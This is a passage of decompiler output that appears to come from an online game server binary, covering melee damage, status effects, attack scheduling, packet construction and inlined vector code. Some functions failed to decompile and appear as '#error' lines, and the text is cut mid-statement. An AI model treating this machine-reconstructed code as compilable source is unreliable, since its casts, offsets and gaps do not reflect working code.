v20 = (signed int)((unsigned __int64)(damage * v16 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6; damage = v20 + ((unsigned int)v20 >> 31); } LABEL_23: (*(void (__thiscall **)(void *, AbnormalStateInfo::ABSTATEINDEX, int, void **))(*(_DWORD *)v6 + 2740))( v6, v7, damage, &engarg); v52 = 0; if ( !(*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v7 + 1236))(v7) ) v52 = 1; v21 = rndbox.rb_box[4].rs_point.mask & (rndbox.rb_box[4].rs_point.value + 1); rndbox.rb_box[4].rs_point.value = v21; v22 = (char *)&rndbox.rb_thausend[rndbox.rb_box[4].rs_slot[v21]]; v23 = (*((_DWORD *)v22 + 8192) + 1) & *((_DWORD *)v22 + 8193); *((_DWORD *)v22 + 8192) = v23; if ( *(_WORD *)&v22[2 * v23] < absrate ) { if ( i < 391 ) { v24 = dword_608008[i]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", i); v24 = 0; } if ( v24 ) { if ( (unsigned __int8)(*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX, void *, int, int, int, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v7 + 1528))( v7, v6, i, absstrength, v24, clockwatch.cw_CurrTick, 0, -1, 0, 4) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v7, *(_DWORD *)(*(_DWORD *)v24 + 34)); v25 = v24 + 36 * absstrength + 8; ia = v25; v26 = *(_DWORD *)v25; if ( v26 ) { (*(void (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX, _DWORD, _DWORD, signed int))(*(_DWORD *)v7 + 992))( v7, *(_DWORD *)(*(_DWORD *)v24 + 34), *(_DWORD *)(v26 + 43), 1); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v7, *(_DWORD *)(*(_DWORD *)v24 + 34), *(_DWORD *)(*(_DWORD *)ia + 43), absstrength); } } if ( aggroclear > 0 ) (*(void (__thiscall **)(void *, AbnormalStateInfo::ABSTATEINDEX, int))(*(_DWORD *)v6 + 1712))( v6, v7, aggroclear); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Invalid abstate", i); } } v27 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9288; v28 = v27[6]; *((_WORD *)v27 + 1) = *((_WORD *)v6 + 2); *((_WORD *)v27 + 2) = *(_WORD *)(v7 + 4); v29 = (v47 ^ v28) & 1 ^ v27[6]; v27[6] = v29; v30 = v29 ^ (v29 ^ 2 * v48) & 2; v27[6] = v30; v31 = v30 ^ (v30 ^ 4 * BYTE1(v47)) & 4; v27[6] = v31; v27[6] = v31 ^ (v31 ^ 8 * BYTE3(v47)) & 8; v32 = (v27[6] ^ 16 * (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 2760))(v6)) & 0x10 ^ v27[6]; v27[6] = v32; v27[6] = v32 ^ (v32 ^ (BYTE1(v48) << 6)) & 0x40; *(_WORD *)(v27 + 7) = damage; *(_DWORD *)(v27 + 9) = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v7 + 1236))(v7); *(_WORD *)(v27 + 13) = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v7 + 1932))(v7); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v33 = (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 764))(v6); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v33 + 12))(v33, v6, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Packet Too Long", 15); } if ( ProtocolPacket::pp_SetPacketLen(&gpp, 15) ) { v34 = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v7 + 764))(v7); (*(void (__thiscall **)(int, AbnormalStateInfo::ABSTATEINDEX, ProtocolPacket *))(*(_DWORD *)v34 + 12))( v34, v7, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMobileObject::smo_SwingDamage : Packet Too Long", 15); } v35 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 9289; v36 = v35[6]; v37 = v35[6]; *((_WORD *)v35 + 1) = *((_WORD *)v6 + 2); *((_WORD *)v35 + 2) = *(_WORD *)(v7 + 4); v35[6] = (BYTE1(v47) ^ v36) & 1 ^ v37; v35[6] ^= (v35[6] ^ 2 * (*(int (__thiscall **)(void *))(*(_DWORD *)v6 + 2760))(v6)) & 2; *(_DWORD *)(v35 + 7) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v7 + 1236))(v7); *(_WORD *)(v35 + 11) = (*(int (__thiscall **)(AbnormalStateInfo::ABSTATEINDEX))(*(_DWORD *)v7 + 1932))(v7); AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 13); v38 = *(_WORD *)(v7 + 4); v39 = *(_DWORD *)((char *)v6 + 78); LOBYTE(v50) = 1; v40 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v6, v40, v39, 0, 0, (int)&alchat, 0, v38); LOBYTE(v50) = 0; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); --funcallanalizer.fca_stackpoint; v50 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_SwingDamage"); return v52; } // 420570: inconsistent function type and number of purged bytes //----- (00420B40) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this) { void *v1; // esi@1 char v2; // bl@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2440))(v1) || (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1216))(v1) && *((_BYTE *)v1 + 23324) & 0x40 ) v2 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_mobile_IsImmortal"); return v2; } //----- (00420C00) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this) { void *v1; // edi@1 signed int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *((_WORD *)v1 + 3714) == 1 ) v2 = -150; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_HitNotRevision"); return v2; } //----- (00420C70) -------------------------------------------------------- #error "420C70: undefined or illegal type '#331' (funcsize=280)" //----- (00421070) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest) { AbnormalStateContainer::AbstateElementInObject *v3; // edx@1 AbnormalStateContainer::AbstateElementInObject *result; // eax@1 v3 = _Last; result = _Dest; while ( v3 != _First ) { v3 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v3 - 116); result = (AbnormalStateContainer::AbstateElementInObject *)((char *)result - 116); memcpy(result, v3, 0x74u); } return result; } //----- (004210A0) -------------------------------------------------------- #error "4210A0: undefined or illegal type '#331' (funcsize=23)" //----- (004210F0) -------------------------------------------------------- #error "4210F0: undefined or illegal type '#331' (funcsize=104)" //----- (00421270) -------------------------------------------------------- #error "421270: undefined or illegal type '#331' (funcsize=105)" //----- (004213E0) -------------------------------------------------------- #error "4213E0: undefined or illegal type '#440' (funcsize=94)" //----- (00421550) -------------------------------------------------------- #error "421550: undefined or illegal type '#331' (funcsize=48)" //----- (004215D0) -------------------------------------------------------- #error "4215D0: undefined or illegal type '#331' (funcsize=233)" //----- (004218D0) -------------------------------------------------------- #error "4218D0: undefined or illegal type '#748' (funcsize=60)" //----- (004219D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this) { int v1; // esi@1 int v2; // edi@1 char v3; // al@3 int v4; // ecx@3 int v5; // eax@7 unsigned int v6; // ebx@12 int v7; // eax@13 int v8; // edx@13 int v9; // eax@13 int v10; // eax@15 int v11; // eax@18 int v12; // ecx@22 int v13; // edi@26 signed int v14; // eax@26 int result; // eax@27 FunctionEntarance _; // [sp+10h] [bp-18h]@1 int targetcoord; // [sp+14h] [bp-14h]@13 int v18; // [sp+18h] [bp-10h]@13 int v19; // [sp+24h] [bp-4h]@1 v1 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 32180); v19 = 0; if ( !v2 ) v2 = *(_DWORD *)(v1 + 32184); v3 = (*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v1 + 2340))(v1, v2, "sp_Schedule_SwingStart"); v4 = v1; if ( !v3 ) goto LABEL_30; if ( *(_BYTE *)((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1052))(v1) + 2348) & 2 ) goto LABEL_34; if ( !*(_DWORD *)(*(_DWORD *)(v1 + 92272) + 10) ) { (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2716))(v1); LABEL_31: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart"); return 0; } v5 = *(_DWORD *)(v1 + 32180); if ( !v5 ) v5 = *(_DWORD *)(v1 + 32184); if ( !(unsigned __int8)(*(int (__stdcall **)(int))(**(_DWORD **)(v1 + 4004) + 64))(v5) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 768))(v2) || (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 40))(v2) ) { LABEL_34: v4 = v1; LABEL_30: (*(void (__thiscall **)(int))(*(_DWORD *)v1 + 2716))(v4); goto LABEL_31; } v6 = (unsigned int)(10 * (*(_DWORD *)(v1 + 89000) + (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1660))(v2))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v1, v2) > v6 * v6 ) goto LABEL_35; v7 = *(_DWORD *)(v2 + 78); targetcoord = *(_DWORD *)v7; v8 = *(_DWORD *)(v7 + 4); v9 = *(_DWORD *)(v1 + 32180); v18 = v8; if ( !v9 ) v9 = *(_DWORD *)(v1 + 32184); ShineObjectClass::ShineObject::so_FindBlockLocate( (void *)v1, *(_DWORD *)(v9 + 78), 10000, (int)&targetcoord, (int (__thiscall *)(_DWORD, _DWORD, _DWORD))MapBlock::MapBlockInformation::mbi_IsAttackBlock); v10 = *(_DWORD *)(v1 + 32180); if ( !v10 ) v10 = *(_DWORD *)(v1 + 32184); if ( **(_DWORD **)(v10 + 78) != targetcoord ) goto LABEL_35; v11 = *(_DWORD *)(v1 + 32180); if ( !v11 ) v11 = *(_DWORD *)(v1 + 32184); if ( *(_DWORD *)(*(_DWORD *)(v11 + 78) + 4) != v18 ) { LABEL_35: (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2716))(v1); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { if ( *(_BYTE *)(v1 + 89008) & 4 ) { ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v1, v2); v12 = *(_DWORD *)(v1 + 4004); if ( v12 && (*(int (**)(void))(*(_DWORD *)v12 + 56))() == 15 ) *(_WORD *)(v1 + 92220) = (signed int)(1000 * DirectDistanceTable::ddt_Distance( &ddt, **(_DWORD **)(v2 + 78) - **(_DWORD **)(v1 + 78), *(_DWORD *)(*(_DWORD *)(v2 + 78) + 4) - *(_DWORD *)(*(_DWORD *)(v1 + 78) + 4))) / 800; else *(_WORD *)(v1 + 92220) = 0; v13 = ((*(int (__thiscall **)(int))(*(_DWORD *)v1 + 1268))(v1) << 9) / 1024; v14 = ShineObjectClass::ShineMobileObject::smo_HitNotRevision((void *)v1); ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage, 0, TSCW_NORMALATTACK_DAMAGE, *(_WORD *)(v1 + 92220) + v14 + v13); } v19 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } return result; } //----- (00421CB0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this) { int v1; // esi@1 int v2; // ebx@1 unsigned int v3; // edi@7 signed __int64 v4; // qax@9 int v5; // eax@11 char *v7; // [sp+8h] [bp-24h]@4 v1 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *(_DWORD *)(v1 + 32180); if ( !v2 ) v2 = *(_DWORD *)(v1 + 32184); if ( v2 ) { if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v1 + 1748))(v1, v2) ) { v3 = (unsigned int)(10 * (*(_DWORD *)(v1 + 89000) + (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1660))(v2))) >> 3; if ( ShineObjectClass::ShineObject::so_DistanceSquar(v1, v2) <= v3 * v3 ) { v4 = 140737488400i64 * (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1268))(v1); LOBYTE(v4) = *(_BYTE *)(v1 + 89008); *(_DWORD *)(v1 + 23328) = *(_DWORD *)(v1 + 23332) + (SHIDWORD(v4) >> 12) + (HIDWORD(v4) >> 31); if ( v4 & 4 && !(unsigned __int8)(*(int (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 2736))( v1, v2, 391, 0, 0, 0) ) { v5 = ((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1268))(v1) << 9) / 1024; if ( v5 < *(_WORD *)(v1 + 92220) ) *(_WORD *)(v1 + 92220) = 0; ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 92156), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#440 *))ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart, 0, TSCW_NORMALATTACK_SWING, v5 - *(_WORD *)(v1 + 92220)); } (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 2764))(v1, 0, 0); } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2716))(v1); } v7 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2716))(v1); v7 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } } else { (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 2716))(v1); v7 = "ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); return 0; } //----- (00421E60) -------------------------------------------------------- #error "421E60: undefined or illegal type '#331' (funcsize=20)" //----- (00421EB0) -------------------------------------------------------- #error "421EB0: undefined or illegal type '#331' (funcsize=258)" //----- (00422220) -------------------------------------------------------- #error "422220: undefined or illegal type '#331' (funcsize=231)" //----- (00422540) -------------------------------------------------------- #error "422540: undefined or illegal type '#331' (funcsize=355)" //----- (00422A00) -------------------------------------------------------- #error "422A00: undefined or illegal type '#440' (funcsize=366)" //----- (00422F40) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // edx@2 void *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) memcpy(v6, _Val, 0x74u); v6 = (char *)v6 + 116; --v5; } while ( v5 ); } } //----- (00422F70) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return (AbnormalStateContainer::AbstateElementInObject *)((char *)_Ptr + 116 * _Count); } //----- (00422FA0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector >::iterator v4; // eax@1 std::vector > *v5; // ebp@1 std::vector >::iterator v6; // ecx@1 AbnormalStateContainer::AbstateElementInObject *v7; // edx@2 std::vector >::iterator v8; // ebx@2 const void *v9; // esi@3 void *v10; // edi@3 AbnormalStateContainer::AbstateElementInObject *v11; // edi@5 AbnormalStateContainer::AbstateElementInObject *v12; // esi@5 std::vector >::iterator *v13; // eax@9 v4 = _Last; v5 = this; v6 = _First; if ( _First != _Last ) { v7 = v5->_Mylast; v8 = _First; if ( (AbnormalStateContainer::AbstateElementInObject *)_Last != v7 ) { do { v9 = (const void *)v4; v10 = (void *)v8; *(_DWORD *)&v4 += 116; *(_DWORD *)&v8 += 116; memcpy(v10, v9, 0x74u); } while ( (AbnormalStateContainer::AbstateElementInObject *)v4 != v7 ); v6 = _First; } v11 = v5->_Mylast; v12 = (AbnormalStateContainer::AbstateElementInObject *)v8; if ( (AbnormalStateContainer::AbstateElementInObject *)v8 != v11 ) { do { AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(v12); v12 = (AbnormalStateContainer::AbstateElementInObject *)((char *)v12 + 116); } while ( v12 != v11 ); v6 = _First; } v5->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v8; } v13 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v13; } //----- (00423010) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // ebx@1 AbnormalStateContainer::AbstateElementInObject *v5; // edi@1 unsigned int v6; // ecx@1 signed int v7; // edx@2 unsigned int v8; // esi@3 int v9; // eax@5 int v10; // eax@10 int v11; // ecx@14 int v12; // eax@17 void *v13; // eax@21 void *v14; // edi@21 AbnormalStateContainer::AbstateElementInObject *v15; // ST14_4@21 int v16; // eax@21 int v17; // esi@23 AbnormalStateContainer::AbstateElementInObject *v18; // eax@23 AbnormalStateContainer::AbstateElementInObject *v19; // ecx@26 std::vector >::iterator v20; // edi@26 signed int v21; // edx@26 unsigned int v22; // ST24_4@27 AbnormalStateContainer::AbstateElementInObject *v23; // ST20_4@27 unsigned int v24; // edx@27 int v25; // [sp+0h] [bp-98h]@1 char _Tmp; // [sp+Ch] [bp-8Ch]@1 void *_Newvec; // [sp+80h] [bp-18h]@21 std::vector > *thisa; // [sp+84h] [bp-14h]@1 int *v29; // [sp+88h] [bp-10h]@1 int v30; // [sp+94h] [bp-4h]@1 AbnormalStateContainer::AbstateElementInObject *_Wherea; // [sp+A0h] [bp+8h]@28 AbnormalStateContainer::AbstateElementInObject *_Ptr; // [sp+A4h] [bp+Ch]@21 int _Vala; // [sp+A8h] [bp+10h]@21 v4 = this; v29 = &v25; thisa = this; memcpy(&_Tmp, _Val, 0x74u); v5 = this->_Myfirst; v6 = 0; v30 = 0; if ( v5 ) { v7 = (signed int)((char *)v4->_Myend + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) - (unsigned int)v5)) >> 6; v6 = v7 + ((unsigned int)v7 >> 31); } v8 = _Count; if ( _Count ) { if ( v5 ) v9 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v9 = 0; if ( (unsigned int)&wholesaver.ws_savestore[365].esc_abstate.buffer[-v9 + 29780] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v4->_Myfirst ) v10 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v10 = 0; if ( v6 >= _Count + v10 ) { v19 = v4->_Mylast; v20 = _Where; v21 = (signed int)((char *)v4->_Mylast + ((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)v4->_Mylast - *(_DWORD *)&_Where)) >> 32) - *(_DWORD *)&_Where) >> 6; _Newvec = v4->_Mylast; if ( v21 + ((unsigned int)v21 >> 31) >= _Count ) { _Wherea = (AbnormalStateContainer::AbstateElementInObject *)((char *)v19 - 116 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( (AbnormalStateContainer::AbstateElementInObject *)((char *)v19 - 116 * _Count), v19, v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v19 - 116 * _Count)); std::copy_backward( *(AbnormalStateContainer::AbstateElementInObject **)&v20, _Wherea, (AbnormalStateContainer::AbstateElementInObject *)_Newvec); std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&v20, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&v20 + 116 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v19, (AbnormalStateContainer::AbstateElementInObject *)(*(_DWORD *)&_Where + 116 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = _Count - (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 116; v23 = v4->_Mylast; LOBYTE(v30) = 3; std::vector>::_Ufill( v4, v23, v22, (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); v24 = (unsigned int)((char *)v4->_Mylast + 116 * _Count); v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)v24; std::fill( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)(v24 - 116 * _Count), (AbnormalStateContainer::AbstateElementInObject *)&_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[365].esc_abstate.buffer[-(v6 >> 1) + 29780] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v4->_Myfirst ) v12 = (signed int)((char *)v4->_Mylast - (char *)v4->_Myfirst) / 116; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Vala = 116 * v11; v13 = operator new(116 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = v13; LOBYTE(v30) = 1; _Ptr = std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( v15, *(AbnormalStateContainer::AbstateElementInObject **)&_Where, (AbnormalStateContainer::AbstateElementInObject *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, (AbnormalStateContainer::AbstateElementInObject *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_AbnormalStateContainer::AbstateElementInObject___std::allocator>( *(AbnormalStateContainer::AbstateElementInObject **)&_Where, v4->_Mylast, (AbnormalStateContainer::AbstateElementInObject *)((char *)_Ptr + 116 * v8), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = (int)v4->_Myfirst; v30 = 0; if ( v16 ) v16 = (signed int)((char *)v4->_Mylast - v16) / 116; v17 = v16 + v8; v18 = v4->_Myfirst; if ( v18 ) { std::vector>::_Destroy( v4, v18, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + _Vala); v4->_Mylast = (AbnormalStateContainer::AbstateElementInObject *)((char *)v14 + 116 * v17); v4->_Myfirst = (AbnormalStateContainer::AbstateElementInObject *)v14; } } v30 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject((AbnormalStateContainer::AbstateElementInObject *)&_Tmp); } //----- (00423330) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val) { AbnormalStateContainer::AbstateElementInObject *v3; // ebx@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = (signed int)((char *)this->_Mylast - (char *)v3) / 116; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < (signed int)((char *)this->_Mylast - (char *)v3) / 116 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)((char *)v3 + 116 * _Newsize), (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = (signed int)((char *)this->_Mylast - (char *)v3) / 116; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&_Val); } // 423330: inconsistent function type and number of purged bytes //----- (00423410) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v4; // edi@1 AbnormalStateContainer::AbstateElementInObject *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && (signed int)((char *)this->_Mylast - (char *)v5) / 116 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1925330167i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 6; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = (char *)v4->_Myfirst + 116 * v6; return v8; } //----- (00423480) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize) { std::vector > *v2; // ebx@1 const void *v3; // eax@1 AbnormalStateContainer::AbstateElementInObject v4; // [sp-74h] [bp-100h]@1 AbnormalStateContainer::AbstateElementInObject thisa; // [sp+Ch] [bp-80h]@1 int v6; // [sp+88h] [bp-4h]@1 v2 = this; AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(&thisa); memcpy(&v4, v3, 0x74u); v6 = 0; std::vector>::resize( v2, _Newsize, v4); v6 = -1; AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(&thisa); } //----- (00423500) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val) { std::vector > *v2; // edi@1 AbnormalStateContainer::AbstateElementInObject *v3; // ebx@1 int v4; // esi@2 signed int v5; // edx@3 AbnormalStateContainer::AbstateElementInObject *v6; // esi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((char *)this->_Mylast + (unsigned int)(((unsigned __int64)(-1925330167i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) - (unsigned int)v3)) >> 6; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < (unsigned int)((signed int)((char *)this->_Myend - (char *)v3) / 116) ) { v6 = this->_Mylast; std::_Uninit_fill_n>( this->_Mylast, 1u, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = 